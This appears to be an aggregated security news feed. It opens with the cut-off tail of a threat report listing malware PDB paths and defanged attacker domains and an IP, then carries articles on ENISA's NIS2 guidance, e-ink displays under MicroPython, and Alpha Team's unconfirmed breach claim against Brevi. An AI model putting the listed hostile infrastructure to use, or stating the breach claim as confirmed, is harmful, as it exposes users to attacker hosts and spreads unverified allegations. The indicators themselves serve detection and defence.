C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\pig\Documents\qs-domainless\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\loader\x64\release\loader.pdb

Domains and IPs
www.numupdate[.]com
www.pubsectors[.]com
www.delhiopera[.]com
asistechs[.]com
sanchaar[.]net
108.61.206[.]206
www.birdsvpn[.]com
newsinlevel[.]cc

securelist.com/cloudcomputatin…

L’Agenzia dell’Unione Europea per la Cybersecurity (ENISA) ha recentemente pubblicato una bozza di guida tecnica destinata alle organizzazioni europee per implementare le misure di sicurezza informatica previste dalla Direttiva NIS2. Questa guida, redatta in collaborazione con la Commissione Europea e il Gruppo di Cooperazione NIS, è stata rilasciata sotto forma di Regolamento di Esecuzione (UE) 2024/2690 del 17 ottobre 2024, ed è ora disponibile per la consultazione pubblica.

La guida è rivolta a una vasta gamma di entità, tra cui fornitori di servizi cloud, data center, gestori di registri di domini di primo livello, reti di distribuzione di contenuti, provider di marketplace e social network, e mira a sostenere le organizzazioni nell’applicazione dei requisiti tecnici e metodologici previsti dalla Direttiva NIS2. ENISA invita tutte le parti interessate a fornire il proprio feedback per affinare e perfezionare questa guida, rendendola uno strumento pratico, flessibile e in linea con le esigenze reali del settore.

Obiettivi e struttura della Guida Tecnica

La guida ENISA non solo mira a garantire l’adesione agli standard NIS2, ma intende anche offrire alle organizzazioni un supporto concreto per rafforzare la propria resilienza contro le minacce informatiche. Il documento fornisce una combinazione di raccomandazioni operative, esempi di conformità e suggerimenti tecnici, organizzati in quattro elementi chiave per ogni requisito:

• Indicazioni pratiche che guidano le organizzazioni nell’implementazione dei requisiti.
• Esempi di evidenze di conformità per documentare l’aderenza alle misure.
• Suggerimenti extra per andare oltre i requisiti minimi e rafforzare ulteriormente la sicurezza.
• Mappature agli standard: collegamenti con standard internazionali e nazionali come ISO/IEC 27001, NIST CSF, e altri, per favorire una perfetta integrazione con i framework di sicurezza già esistenti.

Essendo un documento in continua evoluzione, la guida sarà aggiornata periodicamente per adattarsi ai cambiamenti nelle normative internazionali e alle nuove minacce informatiche.

Informazioni sul Regolamento di Esecuzione (UE) 2024/2690

Il Regolamento di Esecuzione (UE) 2024/2690, adottato dalla Commissione Europea il 17 ottobre 2024, rappresenta un passo cruciale nell’attuazione della Direttiva (UE) 2022/2555, nota come Direttiva NIS2. Questo regolamento stabilisce requisiti tecnici e metodologici dettagliati per le misure di gestione dei rischi di cybersicurezza e specifica i criteri per determinare quando un incidente debba essere considerato significativo.

Il regolamento si applica a una vasta gamma di entità, tra cui fornitori di servizi DNS, registri dei nomi di dominio di primo livello, fornitori di servizi di cloud computing, data center, reti di distribuzione dei contenuti, mercati online, motori di ricerca, piattaforme di social network e fornitori di servizi fiduciari.

Principali requisiti tecnici e metodologici:

• Politiche di sicurezza: definizione di politiche chiare per la sicurezza dei sistemi di rete e informazione.
• Gestione del rischio: implementazione di processi strutturati per identificare, valutare e mitigare i rischi di cybersicurezza.
• Gestione degli incidenti: procedure di rilevamento, gestione e notifica degli incidenti di sicurezza.
• Continuità operativa: piani per garantire la continuità dei servizi anche in caso di incidenti significativi.
• Sicurezza della catena di fornitura: misure specifiche per gestire i rischi associati ai fornitori e alle terze parti.
• Igiene informatica e formazione: programmi di sensibilizzazione e formazione per il personale sulle pratiche di sicurezza.
• Cifratura e controllo degli accessi: tecniche avanzate di cifratura e autenticazione per proteggere i dati critici.

Il regolamento fornisce anche criteri specifici per determinare quando un incidente deve essere considerato significativo, basandosi su fattori come il numero di utenti interessati, la durata dell’incidente, la portata geografica, l’impatto sui servizi e le conseguenze economiche e sociali. Questi criteri aiutano le organizzazioni a valutare l’importanza di un incidente e a determinare le azioni appropriate da intraprendere, inclusa la notifica tempestiva alle autorità competenti.

L’adozione di questo regolamento impone alle organizzazioni di rivedere e aggiornare le proprie misure di sicurezza per conformarsi ai nuovi requisiti, inclusa l’adozione di policy e procedure aggiornate, la formazione del personale e l’implementazione di tecnologie di sicurezza avanzate. Per ulteriori dettagli, il regolamento è consultabile su EUR-Lex.

Le aree di intervento chiave

La guida ENISA copre tredici aree tematiche, considerate essenziali per la sicurezza informatica delle organizzazioni moderne. Di seguito, una panoramica dettagliata di ciascun pilastro:

1. Politica di sicurezza dei sistemi di rete e informazione: Ogni organizzazione deve disporre di una policy di sicurezza che delinei chiaramente l’approccio e gli obiettivi di cybersicurezza. La guida raccomanda che questa policy sia allineata con la strategia di business e approvata dalla dirigenza. Tra gli elementi da includere, vi sono l’allocazione delle risorse necessarie, la definizione dei ruoli e delle responsabilità e un piano di miglioramento continuo della sicurezza. È inoltre importante che la policy sia comunicata sia al personale interno che ai fornitori esterni.
2. Gestione del rischio: ENISA sottolinea la necessità per le organizzazioni di adottare un framework di gestione del rischio per identificare, valutare e mitigare le minacce. La guida suggerisce un piano di trattamento del rischio che documenti ogni rischio rilevato e le misure specifiche per affrontarlo, tenendo conto delle risorse aziendali e del contesto operativo. La revisione periodica del piano è fondamentale per rispondere ai cambiamenti nel panorama delle minacce.
3. Gestione degli incidenti: Una delle aree più critiche per la sicurezza, la gestione degli incidenti, richiede una policy strutturata che assegni ruoli specifici e definisca procedure chiare per l’identificazione, l’analisi, la risposta e il recupero da eventi di sicurezza. ENISA consiglia di stabilire una classificazione degli incidenti che aiuti a determinare rapidamente la gravità di ogni evento e a stabilire piani di escalation e comunicazione per una risposta coordinata e tempestiva.
4. Continuità operativa e gestione delle crisi: La guida sottolinea l’importanza di avere piani solidi per garantire la continuità operativa anche durante le crisi. ENISA incoraggia l’adozione di piani di business continuity e di disaster recovery, che comprendano strategie di backup, piani per il ripristino dei dati e per la gestione delle crisi. È essenziale che tali piani siano testati regolarmente e aggiornati alla luce delle lezioni apprese da incidenti precedenti.
5. Sicurezza della catena di fornitura: Con l’aumento dell’esternalizzazione e della dipendenza dai fornitori, il documento evidenzia l’importanza di avere una policy specifica per la gestione dei rischi della supply chain. La guida raccomanda di tenere traccia dei fornitori, valutare i rischi associati a ciascuno di essi e integrare requisiti di sicurezza nei contratti per limitare le vulnerabilità derivanti dalle terze parti.
6. Acquisizione e sviluppo sicuro dei sistemi: La sicurezza deve essere integrata fin dalla progettazione di nuovi sistemi IT. ENISA consiglia di seguire un ciclo di sviluppo sicuro, che includa pratiche di gestione della configurazione, testing di sicurezza, e applicazione delle patch. L’obiettivo è assicurare che ogni sistema implementato sia adeguatamente protetto contro le minacce emergenti.
7. Monitoraggio e controllo dell’efficacia delle misure di sicurezza: La guida raccomanda procedure per valutare regolarmente l’efficacia delle misure di sicurezza adottate. Questo può includere l’esecuzione di audit, test di penetrazione e altre attività di monitoraggio, con l’obiettivo di individuare tempestivamente eventuali lacune e migliorare le difese.
8. Cyber igiene e formazione del personale: La formazione continua è essenziale per ridurre i rischi derivanti da errori umani. ENISA incoraggia l’adozione di pratiche di cyber igiene di base e di programmi di sensibilizzazione per rendere i dipendenti consapevoli delle principali minacce informatiche e delle procedure di sicurezza.
9. Cifratura e controllo degli accessi: La protezione dei dati sensibili passa attraverso l’adozione di tecniche di cifratura e l’implementazione di meccanismi di autenticazione robusti. La guida raccomanda l’utilizzo di autenticazione multifattore e il controllo rigoroso degli accessi ai dati e ai sistemi, per limitare al minimo i rischi di accesso non autorizzato.
10. Gestione delle risorse e degli asset: ENISA raccomanda l’adozione di politiche per la classificazione, gestione e protezione degli asset aziendali, inclusi i dispositivi mobili e i supporti rimovibili. È essenziale tenere un inventario accurato e adottare misure per proteggere gli asset durante tutto il loro ciclo di vita.
11. Sicurezza fisica e ambientale: Oltre alla protezione digitale, la guida suggerisce misure di sicurezza fisica, come il controllo degli accessi alle strutture e la protezione contro minacce ambientali, per assicurare che i sistemi critici siano protetti anche da rischi non digitali.
12. Criptografia avanzata: L’uso di tecnologie crittografiche è fondamentale per la protezione dei dati sensibili e la guida offre raccomandazioni sulle migliori pratiche per implementare la crittografia sia per i dati in transito che per quelli in archiviazione.
13. Controllo degli accessi e gestione dei privilegi: La gestione degli accessi è cruciale per proteggere le risorse critiche. ENISA suggerisce di implementare controlli rigorosi sugli accessi e di monitorare attentamente l’uso degli account con privilegi elevati, adottando politiche chiare per garantire che solo le persone autorizzate possano accedere alle informazioni sensibili.

L’importanza della partecipazione pubblica

ENISA riconosce che il successo di questa guida dipende dal contributo delle organizzazioni e dei professionisti del settore, ed è per questo che invita alla partecipazione attiva di tutti gli stakeholder. La consultazione pubblica rappresenta un’opportunità per le organizzazioni di influenzare il contenuto della guida, garantendo che essa sia applicabile e adeguata alle esigenze operative del settore.

Le organizzazioni interessate possono consultare il documento sul sito dell’ENISA e presentare il loro feedback, contribuendo così alla costruzione di un cyberspazio europeo più sicuro e resiliente. Questa fase di feedback permetterà all’ENISA di affinare il documento finale, trasformandolo in uno strumento pratico e aggiornato per affrontare le sfide future della cybersicurezza

L'articolo ENISA avvia la consultazione pubblica: Guida tecnica per rafforzare le misure di cybersicurezza delle organizzazioni europee proviene da il blog della sicurezza informatica.

We’ve noticed that adding electronic paper displays to projects is getting easier. [NerdCave] picked up a 4.2-inch E-ink panel but found its documentation a bit lacking when it came to using the display under MicroPython. Eventually he worked it out, and was kind enough to share with the rest of the class.

These paper-like displays draw little power and can hold static images. There were examples from the vendor of how to draw some simple objects and text, but [NerdCave] wanted to do graphics. There was C code to do it, but it wasn’t clear how to port it to Python.

The key was to use the image2cpp website (we’ve used it before, but you can also use GIMP). Instead of C code, though, you get the raw bytes out and place them in your Python code. Once you know the workflow, it isn’t that hard, and this is an inexpensive way to add a different kind of display to your projects. The same image conversion will help you work with other displays, too.

We aren’t sure what driver chip this particular display uses, but if you have one with the UC8151/IL0373, you can find some amazing MicroPython drivers for those chips.

youtube.com/embed/RGil4N-uiQw?…

hackaday.com/2024/11/08/teachi…

Recentemente, il gruppo di threat actors noto come Alpha Team ha rivendicato su un forum underground un attacco contro l’azienda italiana Brevi, uno dei principali distributori nel settore dell’Information Technology.

Secondo quanto pubblicato nel forum, il gruppo criminale avrebbe acquisito l’accesso ad un database della società, esponendo informazioni sensibili.

Attualmente, non siamo in grado di confermare l’accuratezza delle informazioni riportate da Alpha team, poiché non è stato rilasciato ancora alcun comunicato stampa ufficiale sul sito web di Brevi riguardo all’incidente, pertanto questa informazione è da ritenere come fonte di “intelligence”.

Nel forum underground, Alpha Team ha pubblicato un post dettagliato riguardante la presunta violazione, presentando vari link ai database e fornendo esempi di tabelle compromesse. Tra le informazioni mostrate, ci sono tabelle come “UTENTI” che potrebbero contenere dati personali e aziendali.

Chi è Alpha Team?

Alpha Team è un gruppo di cybercriminali esperti, noto per colpire aziende italiane di medie e grandi dimensioni attraverso attacchi di tipo ransomware e data leak. Gli obiettivi principali del gruppo includono aziende che, secondo il loro leader Z0rg, non implementano adeguate misure di sicurezza nonostante operino nel settore IT. La loro strategia prevede il furto e la pubblicazione di dati sensibili su forum underground nel caso le vittime rifiutino di pagare un “riscatto” o una sorta di “contributo per la sicurezza.”

Alpha Team giustifica i propri attacchi come un modo per “educare” le aziende alle migliori pratiche di sicurezza, benché lo scopo sia principalmente economico. In una intervista su Red Hot Cyber, il presunto leader di Alpha Team, Z0rg, ha affermato che il loro operato mira a dimostrare le falle nei sistemi di sicurezza delle aziende italiane.

Le vittime, come Brevi, si trovano spesso costrette a scegliere tra il pagamento e il rischio di un danno reputazionale e finanziario ancora più elevato, a causa della diffusione dei dati rubati.

L’Impatto sull’Industria Italiana

L’attacco a Brevi non è un caso isolato, ma parte di una serie di azioni mirate contro il settore IT italiano. Alpha Team ha già preso di mira altre aziende del settore mettendo in evidenza una vulnerabilità sistemica: una sicurezza informatica non correttamente applicata da moltissime aziende italiane.

L’attività del gruppo rappresenta un serio rischio per la continuità operativa e la sicurezza delle informazioni delle imprese italiane, che possono subire gravi danni economici e d’immagine se non riescono a rispondere adeguatamente a queste minacce.

L’incidente che ha coinvolto Brevi sottolinea la necessità di rafforzare le difese informatiche nelle aziende italiane, specialmente nel settore IT. Alpha Team continua a rappresentare una minaccia persistente per le imprese che non adottano misure di sicurezza avanzate, dimostrando quanto sia vulnerabile il tessuto aziendale italiano agli attacchi cyber.

Come nostra consuetudine, lasciamo sempre spazio ad una dichiarazione da parte dell’azienda qualora voglia darci degli aggiornamenti sulla vicenda. Saremo lieti di pubblicare tali informazioni con uno specifico articolo dando risalto alla questione.

RHC monitorerà l’evoluzione della vicenda in modo da pubblicare ulteriori news sul blog, qualora ci fossero novità sostanziali. Qualora ci siano persone informate sui fatti che volessero fornire informazioni in modo anonimo possono utilizzare la mail crittografata del whistleblower.

L'articolo Alpha Team rivendica un attacco informatico all’italiana Brevi nelle Underground criminali proviene da il blog della sicurezza informatica.